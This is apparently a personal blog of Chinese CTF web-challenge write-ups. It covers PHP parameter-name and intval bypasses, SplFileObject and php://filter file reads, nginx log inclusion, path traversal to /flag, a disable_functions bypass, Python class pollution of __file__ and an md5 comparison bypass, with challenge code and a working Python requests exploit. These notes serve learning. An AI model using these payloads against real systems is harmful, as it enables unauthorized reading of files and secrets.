记录一下有意思的题,查漏补缺。
1z_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php highlight_file('index.php');
$emp=$_GET['e_m.p']; $try=$_POST['try']; if($emp!="114514"&&intval($emp,0)===114514) { for ($i=0;$i<strlen($emp);$i++){ if (ctype_alpha($emp[$i])){ die("你不是hacker?那请去外场等候!"); } } echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){ die("你是hacker还敢自报家门呢?"); } if (!stripos($try,'HACKER') === TRUE){ die("你连自己是hacker都不承认,还想要flag呢?"); }
$a=$_GET['a']; $b=$_GET['b']; $c=$_GET['c']; if(stripos($b,'php')!==0){ die("收手吧hacker,你得不到flag的!"); } echo (new $a($b))->$c(); } else { die("114514到底是啥意思嘞?。?"); }
$shell=$_POST['shell']; eval($shell); ?>
|
在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
因此我们可以通过构造e[m.p来传参,这里可以通过八进制来绕过,同时这里的八进制也可以绕过后面的ctype_alpha($emp[$i]),它要求均为数字
?e[m.p=0337522
遇见传参里有 _ 的,第一个需要传[
这里绕过 hacker 需要在前面发一百万个字符
读到 flag 需要用 PHP 原生类
1
| echo (new SplFileObject('php://filter/read=convert.base64-encode/resource=flag.php'))->__toString();
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
url = 'http://gz.imxbt.cn:20624/' params = { "e[m.p" : "114514.1", "a" : "SplFileObject", "b" : "php://filter/read=convert.base64-encode/resource=flag.php", "c" : "__toString"
} a = "very" * 250000 + "114514HACKER" data = { "try": a } response = requests.post(url, data=data, params=params) print(response.text)
|
BaseCTF一些值得一提☞web题的wp - Meteor_Kai - 博客园
过滤个不停
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php highlight_file(__FILE__); error_reporting(0);
$incompetent = $_POST['incompetent']; $Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') { die('写出程序员的第一行问候吧!'); }
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']; $is_valid = true;
foreach ($required_chars as $char) { if (strpos($Datch, $char) === false) { $is_valid = false; break; } }
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) { if (stripos($Datch, $pattern) !== false) { die('此路不通换条路试试?'); } }
include($Datch); } else { die('文件名不合规 请重试'); } ?>
|
就记录怎么利用怎么用这个 include,马后炮一下,这里可以日志注入和路劲穿越。
日志注入
Datch 有“字符白名单”:
1
| $required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
|
- Datch 必须同时包含 s, e, v, a, n, x, r, o。
- 看起来很奇怪,但组合一下你会发现:
/var/log/nginx/access.log
- 这些字母全在
/var/log/nginx/access.log 里面。
- 明显是“引导选手去包含日志文件”。
常规LFI利用方法:php://filter、data://、expect://都被ban了。只剩“文件包含真实文件路径”这种利用方式。

不要以为这里被过滤了,其实没有,直接打。
路径穿越
Datch=esvanxro%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fflag
EZ_PHP_Jail
当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
题目里面disable_functions有 exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file
最后用了highlight_file(glob("/f*")[0]);绕过,用 glob() 枚举根目录文件名: 用 highlight_file() 读取内容:
圣钥之战1.0
- Python 对象污染(Object Pollution)
- 魔改内置变量,改变全局环境变量
{
“init“: {
"__globals__": {
"__file__": "/flag"
}
}
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| @app.route('/read', methods=['GET', 'POST']) def Read(): file = open(__file__, encoding="utf-8").read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} "
@app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
|
instance 是一个空类实例,
- 你赋予了
instance.__init__.__globals__.__file__ 属性,
- Python 执行
open(__file__) 访问全局变量时,被这个“污染”改写了,导致读取了 /flag。
__file__ 是 Python 里的一个变量,通常表示当前运行的代码文件路径。
- 你通过
/pollute 把 instance 对象“污染”了,让它带了一个叫 __init__ 的属性,这个属性又有个叫 __globals__ 的属性,里面又带了 __file__ 这个变量,值是 "/flag"。
- 当
/read 里执行 open(__file__) 的时候,Python 找到这个被污染的 __file__ 变量,结果打开了 "/flag" 文件,而不是当前代码文件。
- 这样你就能读到 flag 了。
flag直接读取不就行了?
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file('index.php');
error_reporting(0); $J1ng = $_POST['J']; $Hong = $_POST['H']; $Keng = $_GET['K']; $Wang = $_GET['W']; $dir = new $Keng($Wang); foreach($dir as $f) { echo($f . '<br>'); } echo new $J1ng($Hong); ?>
|
$dir = new $Keng($Wang);
这里使用了 动态类名实例化,$Keng 变量的值作为类名,$Wang 作为构造函数参数。
例如,如果你传入 ?K=DirectoryIterator&W=.,这行代码就等价于:
$dir = new DirectoryIterator(‘.’);
这会打开当前目录 . 并遍历其中的文件。

J=SplFileObject
H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
echo new SplFileObject(‘php://filter/read=convert.base64-encode/resource=/secret/f11444g.php’);
SplFileObject 用法
1 2
| $file = new SplFileObject('test.txt'); echo $file;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){ $name = $_GET['name']; $name2 = $_GET['name2']; $password = $_POST['password']; $password2 = $_POST['password2']; if ($name != $password && md5($name) == md5($password)){ if ($name2 !== $password2 && md5($name2) === md5($password2)){ echo $flag; } else{ echo "再看看啊,马上绕过嘞!"; } } else { echo "错啦错啦"; }
} else {
|
http://gz.imxbt.cn:20445/?name2[]=1&name=QNKCDZO